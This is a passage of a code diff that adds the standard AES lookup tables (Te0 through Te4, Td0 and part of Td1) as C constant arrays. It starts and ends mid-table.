0x15878792U, 0xc9e9e920U, + 0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU, + 0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U, + 0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U, + 0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U, + 0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU, +}; +const uint32_t AES_Te1[256] = { + 0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU, + 0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U, + 0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU, + 0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U, + 0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU, + 0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U, + 0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU, + 0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U, + 0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U, + 0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU, + 0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U, + 0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U, + 0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U, + 0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU, + 0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U, + 0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U, + 0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU, + 0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U, + 0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U, + 0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U, + 0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU, + 0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU, + 0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U, + 0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU, + 0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU, + 0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U, + 0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU, + 0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U, + 0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU, + 0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U, + 0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U, + 0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U, + 0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU, + 0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U, + 0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU, + 0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U, + 0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU, + 0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U, + 0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U, + 0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU, + 0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU, + 0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU, + 0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U, + 0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U, + 0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU, + 0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U, + 0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU, + 0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U, + 0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU, + 0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U, + 0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU, + 0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU, + 0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U, + 0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU, + 0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U, + 0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU, + 0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U, + 0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U, + 0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U, + 0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU, + 0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU, + 0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U, + 0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU, + 0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U, +}; +const uint32_t AES_Te2[256] = { + 0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU, + 0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U, + 0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU, + 0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U, + 0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU, + 0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U, + 0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU, + 0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U, + 0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U, + 0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU, + 0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U, + 0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U, + 0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U, + 0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU, + 0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U, + 0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U, + 0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU, + 0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U, + 0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U, + 0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U, + 0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU, + 0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU, + 0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U, + 0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU, + 0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU, + 0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U, + 0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU, + 0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U, + 0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU, + 0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U, + 0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U, + 0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U, + 0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU, + 0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U, + 0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU, + 0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U, + 0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU, + 0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U, + 0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U, + 0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU, + 0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU, + 0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU, + 0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U, + 0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U, + 0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU, + 0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U, + 0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU, + 0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U, + 0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU, + 0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U, + 0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU, + 0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU, + 0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U, + 0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU, + 0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U, + 0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU, + 0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U, + 0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U, + 0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U, + 0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU, + 0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU, + 0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U, + 0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU, + 0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U, +}; +const uint32_t AES_Te3[256] = { + + 0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U, + 0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U, + 0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U, + 0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU, + 0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU, + 0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU, + 0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U, + 0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU, + 0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU, + 0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U, + 0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U, + 0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU, + 0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU, + 0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU, + 0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU, + 0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU, + 0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U, + 0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU, + 0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU, + 0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U, + 0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U, + 0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U, + 0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U, + 0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U, + 0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU, + 0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U, + 0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU, + 0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU, + 0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U, + 0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U, + 0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U, + 0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU, + 0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U, + 0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU, + 0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU, + 0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U, + 0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U, + 0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU, + 0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U, + 0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU, + 0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U, + 0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U, + 0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U, + 0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U, + 0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU, + 0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U, + 0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU, + 0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U, + 0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU, + 0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U, + 0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU, + 0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU, + 0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU, + 0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU, + 0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U, + 0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U, + 0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U, + 0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U, + 0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U, + 0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U, + 0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU, + 0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U, + 0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU, + 0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU, +}; +const uint32_t AES_Te4[256] = { + 0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU, + 0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U, + 0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU, + 0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U, + 0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU, + 0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U, + 0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU, + 0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U, + 0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U, + 0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU, + 0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U, + 0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U, + 0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U, + 0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU, + 0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U, + 0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U, + 0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU, + 0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U, + 0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U, + 0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U, + 0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU, + 0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU, + 0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U, + 0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU, + 0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU, + 0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U, + 0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU, + 0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U, + 0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU, + 0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U, + 0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U, + 0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U, + 0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU, + 0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U, + 0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU, + 0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U, + 0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU, + 0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U, + 0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U, + 0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU, + 0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU, + 0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU, + 0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U, + 0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U, + 0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU, + 0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U, + 0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU, + 0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U, + 0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU, + 0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U, + 0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU, + 0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU, + 0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U, + 0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU, + 0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U, + 0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU, + 0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U, + 0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U, + 0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U, + 0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU, + 0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU, + 0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U, + 0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU, + 0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U, +}; +const uint32_t AES_Td0[256] = { + 0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U, + 0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U, + 0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U, + 0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU, + 0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U, + 0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U, + 0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU, + 0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U, + 0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU, + 0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U, + 0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U, + 0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U, + 0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U, + 0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU, + 0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U, + 0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU, + 0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U, + 0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU, + 0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U, + 0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U, + 0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U, + 0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU, + 0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U, + 0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU, + 0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U, + 0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU, + 0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U, + 0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU, + 0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU, + 0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U, + 0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU, + 0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U, + 0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU, + 0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U, + 0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U, + 0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U, + 0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU, + 0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U, + 0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U, + 0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU, + 0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U, + 0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U, + 0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U, + 0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U, + 0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U, + 0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU, + 0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U, + 0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U, + 0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U, + 0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U, + 0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U, + 0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU, + 0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU, + 0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU, + 0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU, + 0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U, + 0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U, + 0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU, + 0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU, + 0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U, + 0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU, + 0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U, + 0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U, + 0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U, +}; +const uint32_t AES_Td1[256] = { + 0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU, + 0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U, + 0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU, + 0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U, + 0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U, + 0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U, + 0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U, + 0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U, + 0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U, + 0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU, + 0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU, + 0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU, + 0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U, + 0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU, + 0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U, + 0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U, + 0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U, + 0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU, + 0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU, + 0x390b83ecU, 0xaa4060efU, 0x065e719fU, 